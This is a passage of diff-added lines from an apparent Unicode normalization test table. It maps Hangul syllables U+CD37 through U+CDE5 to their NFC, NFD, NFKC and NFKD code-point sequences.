+{ source: [0xCD37], NFC: [0xCD37], NFD: [0x110E, 0x116A, 0x11BA], NFKC: [0xCD37], NFKD: [0x110E, 0x116A, 0x11BA] },
+{ source: [0xCD38], NFC: [0xCD38], NFD: [0x110E, 0x116A, 0x11BB], NFKC: [0xCD38], NFKD: [0x110E, 0x116A, 0x11BB] },
+{ source: [0xCD39], NFC: [0xCD39], NFD: [0x110E, 0x116A, 0x11BC], NFKC: [0xCD39], NFKD: [0x110E, 0x116A, 0x11BC] },
+{ source: [0xCD3A], NFC: [0xCD3A], NFD: [0x110E, 0x116A, 0x11BD], NFKC: [0xCD3A], NFKD: [0x110E, 0x116A, 0x11BD] },
+{ source: [0xCD3B], NFC: [0xCD3B], NFD: [0x110E, 0x116A, 0x11BE], NFKC: [0xCD3B], NFKD: [0x110E, 0x116A, 0x11BE] },
+{ source: [0xCD3C], NFC: [0xCD3C], NFD: [0x110E, 0x116A, 0x11BF], NFKC: [0xCD3C], NFKD: [0x110E, 0x116A, 0x11BF] },
+{ source: [0xCD3D], NFC: [0xCD3D], NFD: [0x110E, 0x116A, 0x11C0], NFKC: [0xCD3D], NFKD: [0x110E, 0x116A, 0x11C0] },
+{ source: [0xCD3E], NFC: [0xCD3E], NFD: [0x110E, 0x116A, 0x11C1], NFKC: [0xCD3E], NFKD: [0x110E, 0x116A, 0x11C1] },
+{ source: [0xCD3F], NFC: [0xCD3F], NFD: [0x110E, 0x116A, 0x11C2], NFKC: [0xCD3F], NFKD: [0x110E, 0x116A, 0x11C2] },
+{ source: [0xCD40], NFC: [0xCD40], NFD: [0x110E, 0x116B], NFKC: [0xCD40], NFKD: [0x110E, 0x116B] },
+{ source: [0xCD41], NFC: [0xCD41], NFD: [0x110E, 0x116B, 0x11A8], NFKC: [0xCD41], NFKD: [0x110E, 0x116B, 0x11A8] },
+{ source: [0xCD42], NFC: [0xCD42], NFD: [0x110E, 0x116B, 0x11A9], NFKC: [0xCD42], NFKD: [0x110E, 0x116B, 0x11A9] },
+{ source: [0xCD43], NFC: [0xCD43], NFD: [0x110E, 0x116B, 0x11AA], NFKC: [0xCD43], NFKD: [0x110E, 0x116B, 0x11AA] },
+{ source: [0xCD44], NFC: [0xCD44], NFD: [0x110E, 0x116B, 0x11AB], NFKC: [0xCD44], NFKD: [0x110E, 0x116B, 0x11AB] },
+{ source: [0xCD45], NFC: [0xCD45], NFD: [0x110E, 0x116B, 0x11AC], NFKC: [0xCD45], NFKD: [0x110E, 0x116B, 0x11AC] },
+{ source: [0xCD46], NFC: [0xCD46], NFD: [0x110E, 0x116B, 0x11AD], NFKC: [0xCD46], NFKD: [0x110E, 0x116B, 0x11AD] },
+{ source: [0xCD47], NFC: [0xCD47], NFD: [0x110E, 0x116B, 0x11AE], NFKC: [0xCD47], NFKD: [0x110E, 0x116B, 0x11AE] },
+{ source: [0xCD48], NFC: [0xCD48], NFD: [0x110E, 0x116B, 0x11AF], NFKC: [0xCD48], NFKD: [0x110E, 0x116B, 0x11AF] },
+{ source: [0xCD49], NFC: [0xCD49], NFD: [0x110E, 0x116B, 0x11B0], NFKC: [0xCD49], NFKD: [0x110E, 0x116B, 0x11B0] },
+{ source: [0xCD4A], NFC: [0xCD4A], NFD: [0x110E, 0x116B, 0x11B1], NFKC: [0xCD4A], NFKD: [0x110E, 0x116B, 0x11B1] },
+{ source: [0xCD4B], NFC: [0xCD4B], NFD: [0x110E, 0x116B, 0x11B2], NFKC: [0xCD4B], NFKD: [0x110E, 0x116B, 0x11B2] },
+{ source: [0xCD4C], NFC: [0xCD4C], NFD: [0x110E, 0x116B, 0x11B3], NFKC: [0xCD4C], NFKD: [0x110E, 0x116B, 0x11B3] },
+{ source: [0xCD4D], NFC: [0xCD4D], NFD: [0x110E, 0x116B, 0x11B4], NFKC: [0xCD4D], NFKD: [0x110E, 0x116B, 0x11B4] },
+{ source: [0xCD4E], NFC: [0xCD4E], NFD: [0x110E, 0x116B, 0x11B5], NFKC: [0xCD4E], NFKD: [0x110E, 0x116B, 0x11B5] },
+{ source: [0xCD4F], NFC: [0xCD4F], NFD: [0x110E, 0x116B, 0x11B6], NFKC: [0xCD4F], NFKD: [0x110E, 0x116B, 0x11B6] },
+{ source: [0xCD50], NFC: [0xCD50], NFD: [0x110E, 0x116B, 0x11B7], NFKC: [0xCD50], NFKD: [0x110E, 0x116B, 0x11B7] },
+{ source: [0xCD51], NFC: [0xCD51], NFD: [0x110E, 0x116B, 0x11B8], NFKC: [0xCD51], NFKD: [0x110E, 0x116B, 0x11B8] },
+{ source: [0xCD52], NFC: [0xCD52], NFD: [0x110E, 0x116B, 0x11B9], NFKC: [0xCD52], NFKD: [0x110E, 0x116B, 0x11B9] },
+{ source: [0xCD53], NFC: [0xCD53], NFD: [0x110E, 0x116B, 0x11BA], NFKC: [0xCD53], NFKD: [0x110E, 0x116B, 0x11BA] },
+{ source: [0xCD54], NFC: [0xCD54], NFD: [0x110E, 0x116B, 0x11BB], NFKC: [0xCD54], NFKD: [0x110E, 0x116B, 0x11BB] },
+{ source: [0xCD55], NFC: [0xCD55], NFD: [0x110E, 0x116B, 0x11BC], NFKC: [0xCD55], NFKD: [0x110E, 0x116B, 0x11BC] },
+{ source: [0xCD56], NFC: [0xCD56], NFD: [0x110E, 0x116B, 0x11BD], NFKC: [0xCD56], NFKD: [0x110E, 0x116B, 0x11BD] },
+{ source: [0xCD57], NFC: [0xCD57], NFD: [0x110E, 0x116B, 0x11BE], NFKC: [0xCD57], NFKD: [0x110E, 0x116B, 0x11BE] },
+{ source: [0xCD58], NFC: [0xCD58], NFD: [0x110E, 0x116B, 0x11BF], NFKC: [0xCD58], NFKD: [0x110E, 0x116B, 0x11BF] },
+{ source: [0xCD59], NFC: [0xCD59], NFD: [0x110E, 0x116B, 0x11C0], NFKC: [0xCD59], NFKD: [0x110E, 0x116B, 0x11C0] },
+{ source: [0xCD5A], NFC: [0xCD5A], NFD: [0x110E, 0x116B, 0x11C1], NFKC: [0xCD5A], NFKD: [0x110E, 0x116B, 0x11C1] },
+{ source: [0xCD5B], NFC: [0xCD5B], NFD: [0x110E, 0x116B, 0x11C2], NFKC: [0xCD5B], NFKD: [0x110E, 0x116B, 0x11C2] },
+{ source: [0xCD5C], NFC: [0xCD5C], NFD: [0x110E, 0x116C], NFKC: [0xCD5C], NFKD: [0x110E, 0x116C] },
+{ source: [0xCD5D], NFC: [0xCD5D], NFD: [0x110E, 0x116C, 0x11A8], NFKC: [0xCD5D], NFKD: [0x110E, 0x116C, 0x11A8] },
+{ source: [0xCD5E], NFC: [0xCD5E], NFD: [0x110E, 0x116C, 0x11A9], NFKC: [0xCD5E], NFKD: [0x110E, 0x116C, 0x11A9] },
+{ source: [0xCD5F], NFC: [0xCD5F], NFD: [0x110E, 0x116C, 0x11AA], NFKC: [0xCD5F], NFKD: [0x110E, 0x116C, 0x11AA] },
+{ source: [0xCD60], NFC: [0xCD60], NFD: [0x110E, 0x116C, 0x11AB], NFKC: [0xCD60], NFKD: [0x110E, 0x116C, 0x11AB] },
+{ source: [0xCD61], NFC: [0xCD61], NFD: [0x110E, 0x116C, 0x11AC], NFKC: [0xCD61], NFKD: [0x110E, 0x116C, 0x11AC] },
+{ source: [0xCD62], NFC: [0xCD62], NFD: [0x110E, 0x116C, 0x11AD], NFKC: [0xCD62], NFKD: [0x110E, 0x116C, 0x11AD] },
+{ source: [0xCD63], NFC: [0xCD63], NFD: [0x110E, 0x116C, 0x11AE], NFKC: [0xCD63], NFKD: [0x110E, 0x116C, 0x11AE] },
+{ source: [0xCD64], NFC: [0xCD64], NFD: [0x110E, 0x116C, 0x11AF], NFKC: [0xCD64], NFKD: [0x110E, 0x116C, 0x11AF] },
+{ source: [0xCD65], NFC: [0xCD65], NFD: [0x110E, 0x116C, 0x11B0], NFKC: [0xCD65], NFKD: [0x110E, 0x116C, 0x11B0] },
+{ source: [0xCD66], NFC: [0xCD66], NFD: [0x110E, 0x116C, 0x11B1], NFKC: [0xCD66], NFKD: [0x110E, 0x116C, 0x11B1] },
+{ source: [0xCD67], NFC: [0xCD67], NFD: [0x110E, 0x116C, 0x11B2], NFKC: [0xCD67], NFKD: [0x110E, 0x116C, 0x11B2] },
+{ source: [0xCD68], NFC: [0xCD68], NFD: [0x110E, 0x116C, 0x11B3], NFKC: [0xCD68], NFKD: [0x110E, 0x116C, 0x11B3] },
+{ source: [0xCD69], NFC: [0xCD69], NFD: [0x110E, 0x116C, 0x11B4], NFKC: [0xCD69], NFKD: [0x110E, 0x116C, 0x11B4] },
+{ source: [0xCD6A], NFC: [0xCD6A], NFD: [0x110E, 0x116C, 0x11B5], NFKC: [0xCD6A], NFKD: [0x110E, 0x116C, 0x11B5] },
+{ source: [0xCD6B], NFC: [0xCD6B], NFD: [0x110E, 0x116C, 0x11B6], NFKC: [0xCD6B], NFKD: [0x110E, 0x116C, 0x11B6] },
+{ source: [0xCD6C], NFC: [0xCD6C], NFD: [0x110E, 0x116C, 0x11B7], NFKC: [0xCD6C], NFKD: [0x110E, 0x116C, 0x11B7] },
+{ source: [0xCD6D], NFC: [0xCD6D], NFD: [0x110E, 0x116C, 0x11B8], NFKC: [0xCD6D], NFKD: [0x110E, 0x116C, 0x11B8] },
+{ source: [0xCD6E], NFC: [0xCD6E], NFD: [0x110E, 0x116C, 0x11B9], NFKC: [0xCD6E], NFKD: [0x110E, 0x116C, 0x11B9] },
+{ source: [0xCD6F], NFC: [0xCD6F], NFD: [0x110E, 0x116C, 0x11BA], NFKC: [0xCD6F], NFKD: [0x110E, 0x116C, 0x11BA] },
+{ source: [0xCD70], NFC: [0xCD70], NFD: [0x110E, 0x116C, 0x11BB], NFKC: [0xCD70], NFKD: [0x110E, 0x116C, 0x11BB] },
+{ source: [0xCD71], NFC: [0xCD71], NFD: [0x110E, 0x116C, 0x11BC], NFKC: [0xCD71], NFKD: [0x110E, 0x116C, 0x11BC] },
+{ source: [0xCD72], NFC: [0xCD72], NFD: [0x110E, 0x116C, 0x11BD], NFKC: [0xCD72], NFKD: [0x110E, 0x116C, 0x11BD] },
+{ source: [0xCD73], NFC: [0xCD73], NFD: [0x110E, 0x116C, 0x11BE], NFKC: [0xCD73], NFKD: [0x110E, 0x116C, 0x11BE] },
+{ source: [0xCD74], NFC: [0xCD74], NFD: [0x110E, 0x116C, 0x11BF], NFKC: [0xCD74], NFKD: [0x110E, 0x116C, 0x11BF] },
+{ source: [0xCD75], NFC: [0xCD75], NFD: [0x110E, 0x116C, 0x11C0], NFKC: [0xCD75], NFKD: [0x110E, 0x116C, 0x11C0] },
+{ source: [0xCD76], NFC: [0xCD76], NFD: [0x110E, 0x116C, 0x11C1], NFKC: [0xCD76], NFKD: [0x110E, 0x116C, 0x11C1] },
+{ source: [0xCD77], NFC: [0xCD77], NFD: [0x110E, 0x116C, 0x11C2], NFKC: [0xCD77], NFKD: [0x110E, 0x116C, 0x11C2] },
+{ source: [0xCD78], NFC: [0xCD78], NFD: [0x110E, 0x116D], NFKC: [0xCD78], NFKD: [0x110E, 0x116D] },
+{ source: [0xCD79], NFC: [0xCD79], NFD: [0x110E, 0x116D, 0x11A8], NFKC: [0xCD79], NFKD: [0x110E, 0x116D, 0x11A8] },
+{ source: [0xCD7A], NFC: [0xCD7A], NFD: [0x110E, 0x116D, 0x11A9], NFKC: [0xCD7A], NFKD: [0x110E, 0x116D, 0x11A9] },
+{ source: [0xCD7B], NFC: [0xCD7B], NFD: [0x110E, 0x116D, 0x11AA], NFKC: [0xCD7B], NFKD: [0x110E, 0x116D, 0x11AA] },
+{ source: [0xCD7C], NFC: [0xCD7C], NFD: [0x110E, 0x116D, 0x11AB], NFKC: [0xCD7C], NFKD: [0x110E, 0x116D, 0x11AB] },
+{ source: [0xCD7D], NFC: [0xCD7D], NFD: [0x110E, 0x116D, 0x11AC], NFKC: [0xCD7D], NFKD: [0x110E, 0x116D, 0x11AC] },
+{ source: [0xCD7E], NFC: [0xCD7E], NFD: [0x110E, 0x116D, 0x11AD], NFKC: [0xCD7E], NFKD: [0x110E, 0x116D, 0x11AD] },
+{ source: [0xCD7F], NFC: [0xCD7F], NFD: [0x110E, 0x116D, 0x11AE], NFKC: [0xCD7F], NFKD: [0x110E, 0x116D, 0x11AE] },
+{ source: [0xCD80], NFC: [0xCD80], NFD: [0x110E, 0x116D, 0x11AF], NFKC: [0xCD80], NFKD: [0x110E, 0x116D, 0x11AF] },
+{ source: [0xCD81], NFC: [0xCD81], NFD: [0x110E, 0x116D, 0x11B0], NFKC: [0xCD81], NFKD: [0x110E, 0x116D, 0x11B0] },
+{ source: [0xCD82], NFC: [0xCD82], NFD: [0x110E, 0x116D, 0x11B1], NFKC: [0xCD82], NFKD: [0x110E, 0x116D, 0x11B1] },
+{ source: [0xCD83], NFC: [0xCD83], NFD: [0x110E, 0x116D, 0x11B2], NFKC: [0xCD83], NFKD: [0x110E, 0x116D, 0x11B2] },
+{ source: [0xCD84], NFC: [0xCD84], NFD: [0x110E, 0x116D, 0x11B3], NFKC: [0xCD84], NFKD: [0x110E, 0x116D, 0x11B3] },
+{ source: [0xCD85], NFC: [0xCD85], NFD: [0x110E, 0x116D, 0x11B4], NFKC: [0xCD85], NFKD: [0x110E, 0x116D, 0x11B4] },
+{ source: [0xCD86], NFC: [0xCD86], NFD: [0x110E, 0x116D, 0x11B5], NFKC: [0xCD86], NFKD: [0x110E, 0x116D, 0x11B5] },
+{ source: [0xCD87], NFC: [0xCD87], NFD: [0x110E, 0x116D, 0x11B6], NFKC: [0xCD87], NFKD: [0x110E, 0x116D, 0x11B6] },
+{ source: [0xCD88], NFC: [0xCD88], NFD: [0x110E, 0x116D, 0x11B7], NFKC: [0xCD88], NFKD: [0x110E, 0x116D, 0x11B7] },
+{ source: [0xCD89], NFC: [0xCD89], NFD: [0x110E, 0x116D, 0x11B8], NFKC: [0xCD89], NFKD: [0x110E, 0x116D, 0x11B8] },
+{ source: [0xCD8A], NFC: [0xCD8A], NFD: [0x110E, 0x116D, 0x11B9], NFKC: [0xCD8A], NFKD: [0x110E, 0x116D, 0x11B9] },
+{ source: [0xCD8B], NFC: [0xCD8B], NFD: [0x110E, 0x116D, 0x11BA], NFKC: [0xCD8B], NFKD: [0x110E, 0x116D, 0x11BA] },
+{ source: [0xCD8C], NFC: [0xCD8C], NFD: [0x110E, 0x116D, 0x11BB], NFKC: [0xCD8C], NFKD: [0x110E, 0x116D, 0x11BB] },
+{ source: [0xCD8D], NFC: [0xCD8D], NFD: [0x110E, 0x116D, 0x11BC], NFKC: [0xCD8D], NFKD: [0x110E, 0x116D, 0x11BC] },
+{ source: [0xCD8E], NFC: [0xCD8E], NFD: [0x110E, 0x116D, 0x11BD], NFKC: [0xCD8E], NFKD: [0x110E, 0x116D, 0x11BD] },
+{ source: [0xCD8F], NFC: [0xCD8F], NFD: [0x110E, 0x116D, 0x11BE], NFKC: [0xCD8F], NFKD: [0x110E, 0x116D, 0x11BE] },
+{ source: [0xCD90], NFC: [0xCD90], NFD: [0x110E, 0x116D, 0x11BF], NFKC: [0xCD90], NFKD: [0x110E, 0x116D, 0x11BF] },
+{ source: [0xCD91], NFC: [0xCD91], NFD: [0x110E, 0x116D, 0x11C0], NFKC: [0xCD91], NFKD: [0x110E, 0x116D, 0x11C0] },
+{ source: [0xCD92], NFC: [0xCD92], NFD: [0x110E, 0x116D, 0x11C1], NFKC: [0xCD92], NFKD: [0x110E, 0x116D, 0x11C1] },
+{ source: [0xCD93], NFC: [0xCD93], NFD: [0x110E, 0x116D, 0x11C2], NFKC: [0xCD93], NFKD: [0x110E, 0x116D, 0x11C2] },
+{ source: [0xCD94], NFC: [0xCD94], NFD: [0x110E, 0x116E], NFKC: [0xCD94], NFKD: [0x110E, 0x116E] },
+{ source: [0xCD95], NFC: [0xCD95], NFD: [0x110E, 0x116E, 0x11A8], NFKC: [0xCD95], NFKD: [0x110E, 0x116E, 0x11A8] },
+{ source: [0xCD96], NFC: [0xCD96], NFD: [0x110E, 0x116E, 0x11A9], NFKC: [0xCD96], NFKD: [0x110E, 0x116E, 0x11A9] },
+{ source: [0xCD97], NFC: [0xCD97], NFD: [0x110E, 0x116E, 0x11AA], NFKC: [0xCD97], NFKD: [0x110E, 0x116E, 0x11AA] },
+{ source: [0xCD98], NFC: [0xCD98], NFD: [0x110E, 0x116E, 0x11AB], NFKC: [0xCD98], NFKD: [0x110E, 0x116E, 0x11AB] },
+{ source: [0xCD99], NFC: [0xCD99], NFD: [0x110E, 0x116E, 0x11AC], NFKC: [0xCD99], NFKD: [0x110E, 0x116E, 0x11AC] },
+{ source: [0xCD9A], NFC: [0xCD9A], NFD: [0x110E, 0x116E, 0x11AD], NFKC: [0xCD9A], NFKD: [0x110E, 0x116E, 0x11AD] },
+{ source: [0xCD9B], NFC: [0xCD9B], NFD: [0x110E, 0x116E, 0x11AE], NFKC: [0xCD9B], NFKD: [0x110E, 0x116E, 0x11AE] },
+{ source: [0xCD9C], NFC: [0xCD9C], NFD: [0x110E, 0x116E, 0x11AF], NFKC: [0xCD9C], NFKD: [0x110E, 0x116E, 0x11AF] },
+{ source: [0xCD9D], NFC: [0xCD9D], NFD: [0x110E, 0x116E, 0x11B0], NFKC: [0xCD9D], NFKD: [0x110E, 0x116E, 0x11B0] },
+{ source: [0xCD9E], NFC: [0xCD9E], NFD: [0x110E, 0x116E, 0x11B1], NFKC: [0xCD9E], NFKD: [0x110E, 0x116E, 0x11B1] },
+{ source: [0xCD9F], NFC: [0xCD9F], NFD: [0x110E, 0x116E, 0x11B2], NFKC: [0xCD9F], NFKD: [0x110E, 0x116E, 0x11B2] },
+{ source: [0xCDA0], NFC: [0xCDA0], NFD: [0x110E, 0x116E, 0x11B3], NFKC: [0xCDA0], NFKD: [0x110E, 0x116E, 0x11B3] },
+{ source: [0xCDA1], NFC: [0xCDA1], NFD: [0x110E, 0x116E, 0x11B4], NFKC: [0xCDA1], NFKD: [0x110E, 0x116E, 0x11B4] },
+{ source: [0xCDA2], NFC: [0xCDA2], NFD: [0x110E, 0x116E, 0x11B5], NFKC: [0xCDA2], NFKD: [0x110E, 0x116E, 0x11B5] },
+{ source: [0xCDA3], NFC: [0xCDA3], NFD: [0x110E, 0x116E, 0x11B6], NFKC: [0xCDA3], NFKD: [0x110E, 0x116E, 0x11B6] },
+{ source: [0xCDA4], NFC: [0xCDA4], NFD: [0x110E, 0x116E, 0x11B7], NFKC: [0xCDA4], NFKD: [0x110E, 0x116E, 0x11B7] },
+{ source: [0xCDA5], NFC: [0xCDA5], NFD: [0x110E, 0x116E, 0x11B8], NFKC: [0xCDA5], NFKD: [0x110E, 0x116E, 0x11B8] },
+{ source: [0xCDA6], NFC: [0xCDA6], NFD: [0x110E, 0x116E, 0x11B9], NFKC: [0xCDA6], NFKD: [0x110E, 0x116E, 0x11B9] },
+{ source: [0xCDA7], NFC: [0xCDA7], NFD: [0x110E, 0x116E, 0x11BA], NFKC: [0xCDA7], NFKD: [0x110E, 0x116E, 0x11BA] },
+{ source: [0xCDA8], NFC: [0xCDA8], NFD: [0x110E, 0x116E, 0x11BB], NFKC: [0xCDA8], NFKD: [0x110E, 0x116E, 0x11BB] },
+{ source: [0xCDA9], NFC: [0xCDA9], NFD: [0x110E, 0x116E, 0x11BC], NFKC: [0xCDA9], NFKD: [0x110E, 0x116E, 0x11BC] },
+{ source: [0xCDAA], NFC: [0xCDAA], NFD: [0x110E, 0x116E, 0x11BD], NFKC: [0xCDAA], NFKD: [0x110E, 0x116E, 0x11BD] },
+{ source: [0xCDAB], NFC: [0xCDAB], NFD: [0x110E, 0x116E, 0x11BE], NFKC: [0xCDAB], NFKD: [0x110E, 0x116E, 0x11BE] },
+{ source: [0xCDAC], NFC: [0xCDAC], NFD: [0x110E, 0x116E, 0x11BF], NFKC: [0xCDAC], NFKD: [0x110E, 0x116E, 0x11BF] },
+{ source: [0xCDAD], NFC: [0xCDAD], NFD: [0x110E, 0x116E, 0x11C0], NFKC: [0xCDAD], NFKD: [0x110E, 0x116E, 0x11C0] },
+{ source: [0xCDAE], NFC: [0xCDAE], NFD: [0x110E, 0x116E, 0x11C1], NFKC: [0xCDAE], NFKD: [0x110E, 0x116E, 0x11C1] },
+{ source: [0xCDAF], NFC: [0xCDAF], NFD: [0x110E, 0x116E, 0x11C2], NFKC: [0xCDAF], NFKD: [0x110E, 0x116E, 0x11C2] },
+{ source: [0xCDB0], NFC: [0xCDB0], NFD: [0x110E, 0x116F], NFKC: [0xCDB0], NFKD: [0x110E, 0x116F] },
+{ source: [0xCDB1], NFC: [0xCDB1], NFD: [0x110E, 0x116F, 0x11A8], NFKC: [0xCDB1], NFKD: [0x110E, 0x116F, 0x11A8] },
+{ source: [0xCDB2], NFC: [0xCDB2], NFD: [0x110E, 0x116F, 0x11A9], NFKC: [0xCDB2], NFKD: [0x110E, 0x116F, 0x11A9] },
+{ source: [0xCDB3], NFC: [0xCDB3], NFD: [0x110E, 0x116F, 0x11AA], NFKC: [0xCDB3], NFKD: [0x110E, 0x116F, 0x11AA] },
+{ source: [0xCDB4], NFC: [0xCDB4], NFD: [0x110E, 0x116F, 0x11AB], NFKC: [0xCDB4], NFKD: [0x110E, 0x116F, 0x11AB] },
+{ source: [0xCDB5], NFC: [0xCDB5], NFD: [0x110E, 0x116F, 0x11AC], NFKC: [0xCDB5], NFKD: [0x110E, 0x116F, 0x11AC] },
+{ source: [0xCDB6], NFC: [0xCDB6], NFD: [0x110E, 0x116F, 0x11AD], NFKC: [0xCDB6], NFKD: [0x110E, 0x116F, 0x11AD] },
+{ source: [0xCDB7], NFC: [0xCDB7], NFD: [0x110E, 0x116F, 0x11AE], NFKC: [0xCDB7], NFKD: [0x110E, 0x116F, 0x11AE] },
+{ source: [0xCDB8], NFC: [0xCDB8], NFD: [0x110E, 0x116F, 0x11AF], NFKC: [0xCDB8], NFKD: [0x110E, 0x116F, 0x11AF] },
+{ source: [0xCDB9], NFC: [0xCDB9], NFD: [0x110E, 0x116F, 0x11B0], NFKC: [0xCDB9], NFKD: [0x110E, 0x116F, 0x11B0] },
+{ source: [0xCDBA], NFC: [0xCDBA], NFD: [0x110E, 0x116F, 0x11B1], NFKC: [0xCDBA], NFKD: [0x110E, 0x116F, 0x11B1] },
+{ source: [0xCDBB], NFC: [0xCDBB], NFD: [0x110E, 0x116F, 0x11B2], NFKC: [0xCDBB], NFKD: [0x110E, 0x116F, 0x11B2] },
+{ source: [0xCDBC], NFC: [0xCDBC], NFD: [0x110E, 0x116F, 0x11B3], NFKC: [0xCDBC], NFKD: [0x110E, 0x116F, 0x11B3] },
+{ source: [0xCDBD], NFC: [0xCDBD], NFD: [0x110E, 0x116F, 0x11B4], NFKC: [0xCDBD], NFKD: [0x110E, 0x116F, 0x11B4] },
+{ source: [0xCDBE], NFC: [0xCDBE], NFD: [0x110E, 0x116F, 0x11B5], NFKC: [0xCDBE], NFKD: [0x110E, 0x116F, 0x11B5] },
+{ source: [0xCDBF], NFC: [0xCDBF], NFD: [0x110E, 0x116F, 0x11B6], NFKC: [0xCDBF], NFKD: [0x110E, 0x116F, 0x11B6] },
+{ source: [0xCDC0], NFC: [0xCDC0], NFD: [0x110E, 0x116F, 0x11B7], NFKC: [0xCDC0], NFKD: [0x110E, 0x116F, 0x11B7] },
+{ source: [0xCDC1], NFC: [0xCDC1], NFD: [0x110E, 0x116F, 0x11B8], NFKC: [0xCDC1], NFKD: [0x110E, 0x116F, 0x11B8] },
+{ source: [0xCDC2], NFC: [0xCDC2], NFD: [0x110E, 0x116F, 0x11B9], NFKC: [0xCDC2], NFKD: [0x110E, 0x116F, 0x11B9] },
+{ source: [0xCDC3], NFC: [0xCDC3], NFD: [0x110E, 0x116F, 0x11BA], NFKC: [0xCDC3], NFKD: [0x110E, 0x116F, 0x11BA] },
+{ source: [0xCDC4], NFC: [0xCDC4], NFD: [0x110E, 0x116F, 0x11BB], NFKC: [0xCDC4], NFKD: [0x110E, 0x116F, 0x11BB] },
+{ source: [0xCDC5], NFC: [0xCDC5], NFD: [0x110E, 0x116F, 0x11BC], NFKC: [0xCDC5], NFKD: [0x110E, 0x116F, 0x11BC] },
+{ source: [0xCDC6], NFC: [0xCDC6], NFD: [0x110E, 0x116F, 0x11BD], NFKC: [0xCDC6], NFKD: [0x110E, 0x116F, 0x11BD] },
+{ source: [0xCDC7], NFC: [0xCDC7], NFD: [0x110E, 0x116F, 0x11BE], NFKC: [0xCDC7], NFKD: [0x110E, 0x116F, 0x11BE] },
+{ source: [0xCDC8], NFC: [0xCDC8], NFD: [0x110E, 0x116F, 0x11BF], NFKC: [0xCDC8], NFKD: [0x110E, 0x116F, 0x11BF] },
+{ source: [0xCDC9], NFC: [0xCDC9], NFD: [0x110E, 0x116F, 0x11C0], NFKC: [0xCDC9], NFKD: [0x110E, 0x116F, 0x11C0] },
+{ source: [0xCDCA], NFC: [0xCDCA], NFD: [0x110E, 0x116F, 0x11C1], NFKC: [0xCDCA], NFKD: [0x110E, 0x116F, 0x11C1] },
+{ source: [0xCDCB], NFC: [0xCDCB], NFD: [0x110E, 0x116F, 0x11C2], NFKC: [0xCDCB], NFKD: [0x110E, 0x116F, 0x11C2] },
+{ source: [0xCDCC], NFC: [0xCDCC], NFD: [0x110E, 0x1170], NFKC: [0xCDCC], NFKD: [0x110E, 0x1170] },
+{ source: [0xCDCD], NFC: [0xCDCD], NFD: [0x110E, 0x1170, 0x11A8], NFKC: [0xCDCD], NFKD: [0x110E, 0x1170, 0x11A8] },
+{ source: [0xCDCE], NFC: [0xCDCE], NFD: [0x110E, 0x1170, 0x11A9], NFKC: [0xCDCE], NFKD: [0x110E, 0x1170, 0x11A9] },
+{ source: [0xCDCF], NFC: [0xCDCF], NFD: [0x110E, 0x1170, 0x11AA], NFKC: [0xCDCF], NFKD: [0x110E, 0x1170, 0x11AA] },
+{ source: [0xCDD0], NFC: [0xCDD0], NFD: [0x110E, 0x1170, 0x11AB], NFKC: [0xCDD0], NFKD: [0x110E, 0x1170, 0x11AB] },
+{ source: [0xCDD1], NFC: [0xCDD1], NFD: [0x110E, 0x1170, 0x11AC], NFKC: [0xCDD1], NFKD: [0x110E, 0x1170, 0x11AC] },
+{ source: [0xCDD2], NFC: [0xCDD2], NFD: [0x110E, 0x1170, 0x11AD], NFKC: [0xCDD2], NFKD: [0x110E, 0x1170, 0x11AD] },
+{ source: [0xCDD3], NFC: [0xCDD3], NFD: [0x110E, 0x1170, 0x11AE], NFKC: [0xCDD3], NFKD: [0x110E, 0x1170, 0x11AE] },
+{ source: [0xCDD4], NFC: [0xCDD4], NFD: [0x110E, 0x1170, 0x11AF], NFKC: [0xCDD4], NFKD: [0x110E, 0x1170, 0x11AF] },
+{ source: [0xCDD5], NFC: [0xCDD5], NFD: [0x110E, 0x1170, 0x11B0], NFKC: [0xCDD5], NFKD: [0x110E, 0x1170, 0x11B0] },
+{ source: [0xCDD6], NFC: [0xCDD6], NFD: [0x110E, 0x1170, 0x11B1], NFKC: [0xCDD6], NFKD: [0x110E, 0x1170, 0x11B1] },
+{ source: [0xCDD7], NFC: [0xCDD7], NFD: [0x110E, 0x1170, 0x11B2], NFKC: [0xCDD7], NFKD: [0x110E, 0x1170, 0x11B2] },
+{ source: [0xCDD8], NFC: [0xCDD8], NFD: [0x110E, 0x1170, 0x11B3], NFKC: [0xCDD8], NFKD: [0x110E, 0x1170, 0x11B3] },
+{ source: [0xCDD9], NFC: [0xCDD9], NFD: [0x110E, 0x1170, 0x11B4], NFKC: [0xCDD9], NFKD: [0x110E, 0x1170, 0x11B4] },
+{ source: [0xCDDA], NFC: [0xCDDA], NFD: [0x110E, 0x1170, 0x11B5], NFKC: [0xCDDA], NFKD: [0x110E, 0x1170, 0x11B5] },
+{ source: [0xCDDB], NFC: [0xCDDB], NFD: [0x110E, 0x1170, 0x11B6], NFKC: [0xCDDB], NFKD: [0x110E, 0x1170, 0x11B6] },
+{ source: [0xCDDC], NFC: [0xCDDC], NFD: [0x110E, 0x1170, 0x11B7], NFKC: [0xCDDC], NFKD: [0x110E, 0x1170, 0x11B7] },
+{ source: [0xCDDD], NFC: [0xCDDD], NFD: [0x110E, 0x1170, 0x11B8], NFKC: [0xCDDD], NFKD: [0x110E, 0x1170, 0x11B8] },
+{ source: [0xCDDE], NFC: [0xCDDE], NFD: [0x110E, 0x1170, 0x11B9], NFKC: [0xCDDE], NFKD: [0x110E, 0x1170, 0x11B9] },
+{ source: [0xCDDF], NFC: [0xCDDF], NFD: [0x110E, 0x1170, 0x11BA], NFKC: [0xCDDF], NFKD: [0x110E, 0x1170, 0x11BA] },
+{ source: [0xCDE0], NFC: [0xCDE0], NFD: [0x110E, 0x1170, 0x11BB], NFKC: [0xCDE0], NFKD: [0x110E, 0x1170, 0x11BB] },
+{ source: [0xCDE1], NFC: [0xCDE1], NFD: [0x110E, 0x1170, 0x11BC], NFKC: [0xCDE1], NFKD: [0x110E, 0x1170, 0x11BC] },
+{ source: [0xCDE2], NFC: [0xCDE2], NFD: [0x110E, 0x1170, 0x11BD], NFKC: [0xCDE2], NFKD: [0x110E, 0x1170, 0x11BD] },
+{ source: [0xCDE3], NFC: [0xCDE3], NFD: [0x110E, 0x1170, 0x11BE], NFKC: [0xCDE3], NFKD: [0x110E, 0x1170, 0x11BE] },
+{ source: [0xCDE4], NFC: [0xCDE4], NFD: [0x110E, 0x1170, 0x11BF], NFKC: [0xCDE4], NFKD: [0x110E, 0x1170, 0x11BF] },
+{ source: [0xCDE5], NFC: [0xCDE5], NFD: [0x110E, 0x1170, 0x11C0], NFKC: [0xCDE5], NFKD: [0x110E, 0x1170, 0x11C0] },
